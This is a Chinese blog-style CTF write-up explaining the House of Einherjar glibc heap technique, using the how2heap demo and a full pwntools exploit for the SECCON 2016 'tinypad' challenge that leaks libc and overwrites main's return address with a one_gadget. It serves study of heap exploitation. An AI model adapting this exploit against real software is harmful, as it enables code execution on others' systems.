House Of Einherjar原理

用 how2heap 的例子看一下
参考:http://blog.topsec.com.cn/pwn的艺术浅谈(二):linux堆相关/

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <malloc.h>
  6. int main()
  7. {
  8. setbuf(stdin, NULL);
  9. setbuf(stdout, NULL);
  10. uint8_t* a;
  11. uint8_t* b;
  12. uint8_t* d;
  13. printf("\n申请 0x38 作为 chunk a\n");
  14. a = (uint8_t*) malloc(0x38);
  15. printf("chunk a 在: %p\n", a);
  16. int real_a_size = malloc_usable_size(a);
  17. printf("malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小,chunk a 的 size: %#x\n", real_a_size);
  18. // create a fake chunk
  19. printf("\n接下来在栈上伪造 chunk,并且设置 fd、bk、fd_nextsize、bk_nextsize 来绕过 unlink 的检查\n");
  20. size_t fake_chunk[6];
  21. fake_chunk[0] = 0x100; // prev_size 必须要等于 fake_chunk 的 size 才能绕过 P->bk->size == P->prev_size
  22. fake_chunk[1] = 0x100; // size 只要能够整理到 small bin 中就可以了
  23. fake_chunk[2] = (size_t) fake_chunk; // fd
  24. fake_chunk[3] = (size_t) fake_chunk; // bk
  25. fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
  26. fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
  27. printf("我们伪造的 fake chunk 在 %p\n", fake_chunk);
  28. printf("prev_size (not used): %#lx\n", fake_chunk[0]);
  29. printf("size: %#lx\n", fake_chunk[1]);
  30. printf("fd: %#lx\n", fake_chunk[2]);
  31. printf("bk: %#lx\n", fake_chunk[3]);
  32. printf("fd_nextsize: %#lx\n", fake_chunk[4]);
  33. printf("bk_nextsize: %#lx\n", fake_chunk[5]);
  34. b = (uint8_t*) malloc(0xf8);
  35. int real_b_size = malloc_usable_size(b);
  36. printf("\n再去申请 0xf8 chunk b.\n");
  37. printf("chunk b 在: %p\n", b);
  38. uint64_t* b_size_ptr = (uint64_t*)(b - 8);
  39. printf("\nb 的 size: %#lx\n", *b_size_ptr);
  40. printf("b 的 大小是: 0x100,prev_inuse 有个 1,所以显示 0x101\n");
  41. printf("假设有个 off by null 的漏洞,可以通过编辑 a 的时候把 b 的 prev_inuse 改成 0\n");
  42. a[real_a_size] = 0;
  43. printf("b 现在的 size: %#lx\n", *b_size_ptr);
  44. printf("\n我们伪造一个 prev_size 写到 a 的最后 %lu 个字节,以便 chunk b 与我们的 fake chunk 的合并\n", sizeof(size_t));
  45. size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
  46. printf("\n我们伪造的 prev_size 将会是 chunk b 的带 chunk 头的地址 %p - fake_chunk 的地址 %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
  47. *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
  48. printf("\n接下来要把 fake chunk 的 size 改掉,来通过 size(P) == prev_size(next_chunk(P)) 检查\n");
  49. fake_chunk[1] = fake_size;
  50. printf("\nfree b,首先会跟 top chunk 合并,然后因为 b 的 prev_size 是 0,所以会跟前面的 fake chunk 合并,glibc 寻找空闲块的方法是 chunk_at_offset(p, -((long) prevsize)),这样算的话 b+fake_prev_size 得到 fake chunk 的地址,然后合并到 top chunk,新的 topchunk 的起点就是 fake chunk,再次申请就会从 top chunk 那里申请\n");
  51. free(b);
  52. printf("现在 fake chunk 的 size 是 %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
  53. printf("\n现在如果去 malloc,他就会申请到伪造的那个 chunk\n");
  54. d = malloc(0x200);
  55. printf("malloc(0x200) 在 %p\n", d);
  56. }

上面文字基本表达完了,但还是调试着看一下叭

首先申请了一个 chunk a,然后在栈上伪造了一个 chunk,为了绕过 unlink 的检查,先把 fd、bk、fd_nextsize、bk_nextsize 直接写成我们 fake_chunk 的地址

image.png

然后申请一个 chunk b,因为前面申请的 chunk 的大小是 0x38,所以 chunk a 共用了 chunk b 的 chunk 头的 0x8,也就是说我们写 chunk a 的最后 0x8 字节可以直接更改掉 chunk b 的 prev_size,这里为了让他能找到我们的 fake chunk,所以用 chunk b 的地址减去 fake chunk 的地址,0x603040-0x7fffffffdca0=0xffff8000006053a0

同时假设存在一个 off by null 的漏洞,可以更改掉 chunk b 的 prev_inuse 为 0

image.png

然后我们释放掉 b,这时候 b 因为与 top chunk 挨着,会跟 top chunk 合并,然后因为 prev_inuse 是 0,所以会根据 prev_size 去找前面的 free chunk,然而 prev_size 被我们改了,他去找的时候找到的是 fake chunk,然后两个合并,新的 top chunk 起点就成了 fake chunk,再次分配的时候就会分配到 fake chunk 那里了
ps.按照这个道理 d = malloc(0x200) 这行代码还没执行的时候,p main_arena 应该看到 top 被改成了 fake chunk 地址的,但是调试的时候显示的是 chunk b 的地址,然而 malloc 之后才显示 top 为 fake chunk 的地址,然而此时 d 的地址已经是在 fake chunk 那里了,不知道为啥

再深入理解为啥会跟 top chunk 合并之类这些问题大概要把 libc 的源码看一下才能理解,等以后吧 Orz

2016 Seccon tinypad

参考:https://xz.aliyun.com/t/6556
在 read 的时候有一个 off by null

image.png

程序在 0x602140 这里记录了申请的 chunk 的 size 与指针

image.png

首先需要泄漏 libc 的地址

  1. create(0x80, 'a'*0x80)
  2. create(0x80, 'b'*0x80)
  3. create(0x80, 'c'*0x80)
  4. create(0x80, 'd'*0x80)
  5. delete(3)
  6. delete(1)
  7. p.recvuntil("INDEX: 1\n")
  8. p.recvuntil(" # CONTENT: ")
  9. heap_addr = u64(p.recvline().rstrip().ljust(8, '\x00')) - 0x120
  10. p.recvuntil("INDEX: 3\n")
  11. p.recvuntil(" # CONTENT: ")
  12. main_arena_addr = u64(p.recvline().strip().ljust(8, '\x00')) - 88
  13. libc_base = main_arena_addr - 0x3c4b20
  14. #0x3c4b20用main_arena工具计算出来的,也可以vmmap看一下libc基址自己算
  15. #把剩下那俩也free掉
  16. delete(2)
  17. delete(4)

先申请几个,然后释放掉两个,用来获取 unsorted bin 的地址和 heap 的地址(chunk3 的 fd 指针)

image.png

  1. tinypad = 0x0602040
  2. offset = heap_addr + 0x20 - (tinypad + 0x20)
  3. fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
  4. edit(3, "4"*0x20 + fake_chunk)
  5. delete(1)
  6. create(0x18, '1'*0x10 + p64(offset))
  7. delete(2)

这一块首先是通过计算算出了 heap_addr + 0x20 与 tinypd+0x20 的地址的偏移(实际上是 heap_addr 与 tinypad 的偏移),然后伪造了一个 fake chunk,它的大小是 0x101,fd 跟 bk 都是 tinypad + 0x20 的地址值
然后通过 edit(2) 来吧内容写到 0x0602040 这里,此时在 0x602060 处就是我们的 fake chunk
(edit 的时候先写到 0x0602040 这里,然后复制到指定的位置。真的,大部分问题可能都出在看不懂程序上 Orz)

image.png

对 chunk1 先 free 然后申请回来,同时把 offset 写到 chunk2 的 prev_size 位上,加上程序的 off by null 的漏洞,可以把 chunk2 的 prev_inuse 位给改为 0,所以再去 free chunk2 的时候就成功利用了 House Of Einherjar

image.png

  1. edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena_addr + 88)*2)

同时利用 edit(4) 把 fake chunk 的 fd、bk 给改成 main_arena+88 的地址(unsorted bin)

image.png

  1. one_gadget = libc_base + 0x45226
  2. environ_pointer = libc_base + libc.symbols['__environ']
  3. create(0xf0, '6'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
  4. p.recvuntil(" # INDEX: 1\n")
  5. p.recvuntil(" # CONTENT: ")
  6. leak_addr = u64(p.recvline().rstrip().ljust(8, '\x00'))
  7. main_ret = leak_addr - 0x8 * 30
  8. p.success("main_ret: %x" % main_ret)
  9. p.success("leak_addr: %x" % leak_addr)
  10. edit(2, p64(main_ret))
  11. edit(1, p64(one_gadget))
  12. quit()

然后申请的时候就申请到了 fake chunk 那里,同时把 tinypad+0x100 那里的指针改成 size 跟 environ 的地址,通过 environ 函数泄漏 main 函数 retn 的地址,然后把这个地址覆盖为 one_gadget

image.png

接下来直接在 chunk1 的 content 处就可以看到 0x7ffff7dd3f38 处的 0x7fffffffde48
然后要根据这个来算出距离 main_ret 处的偏移
(直接在快要 ret 的那里下个断点,然后 c 运行到那里)

image.png

接下来通过编辑第二个 chunk 把之前写 environ_pointer 的地址改成 main_ret 的地址,然后通过编辑 chunk1 把 main_ret 改成 one_gadget 然后正常的退出就可以啦

完整 exp:

  1. #!/usr/bin/env python
  2. # coding=utf-8
  3. from pwn import *
  4. elf = ELF('./tinypad')
  5. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  6. p = process('./tinypad')
  7. context.log_level = 'debug'
  8. def cmd(choice):
  9. p.sendlineafter("(CMD)>>> ", choice)
  10. def create(size, content):
  11. cmd("A")
  12. p.sendlineafter("(SIZE)>>> ", str(size))
  13. p.sendlineafter("(CONTENT)>>> ", content)
  14. def delete(index):
  15. cmd("D")
  16. p.sendlineafter("(INDEX)>>> ", str(index))
  17. def edit(index, content):
  18. cmd("E")
  19. p.sendlineafter("(INDEX)>>> ", str(index))
  20. p.sendlineafter("(CONTENT)>>> ", content)
  21. p.sendlineafter("(Y/n)>>> ", "Y")
  22. def quit():
  23. cmd("Q")
  24. create(0x80, 'a'*0x80)
  25. create(0x80, 'b'*0x80)
  26. create(0x80, 'c'*0x80)
  27. create(0x80, 'd'*0x80)
  28. delete(3)
  29. delete(1)
  30. p.recvuntil("INDEX: 1\n")
  31. p.recvuntil(" # CONTENT: ")
  32. heap_addr = u64(p.recvline().rstrip().ljust(8, '\x00')) - 0x120
  33. p.recvuntil("INDEX: 3\n")
  34. p.recvuntil(" # CONTENT: ")
  35. main_arena_addr = u64(p.recvline().strip().ljust(8, '\x00')) - 88
  36. libc_base = main_arena_addr - 0x3c4b20
  37. print "======== some addrs ======="
  38. print hex(main_arena_addr)
  39. print hex(libc_base)
  40. print hex(heap_addr)
  41. delete(2)
  42. delete(4)
  43. #gdb.attach(p,'b *0x400E4E')
  44. create(0x10, '1'*0x10)
  45. create(0x100, '2'*0xf8+p64(0x11))
  46. create(0x100, '3'*0xf8)
  47. create(0x100, '4'*0xf8)
  48. tinypad = 0x0602040
  49. offset = heap_addr - tinypad
  50. print "============ offset ==========="
  51. print offset
  52. fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
  53. edit(3, "a"*0x20 + fake_chunk)
  54. delete(1)
  55. create(0x18, '1'*0x10 + p64(offset))
  56. delete(2)
  57. edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena_addr + 88)*2)
  58. one_gadget = libc_base + 0x45226
  59. environ_pointer = libc_base + libc.symbols['__environ']
  60. create(0xf0, '6'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
  61. p.recvuntil(" # INDEX: 1\n")
  62. p.recvuntil(" # CONTENT: ")
  63. leak_addr = u64(p.recvline().rstrip().ljust(8, '\x00'))
  64. main_ret = leak_addr - 0x8 * 30
  65. p.success("main_ret: %x" % main_ret)
  66. p.success("leak_addr: %x" % leak_addr)
  67. edit(2, p64(main_ret))
  68. #gdb.attach(p)
  69. #pause()
  70. edit(1, p64(one_gadget))
  71. quit()
  72. p.interactive()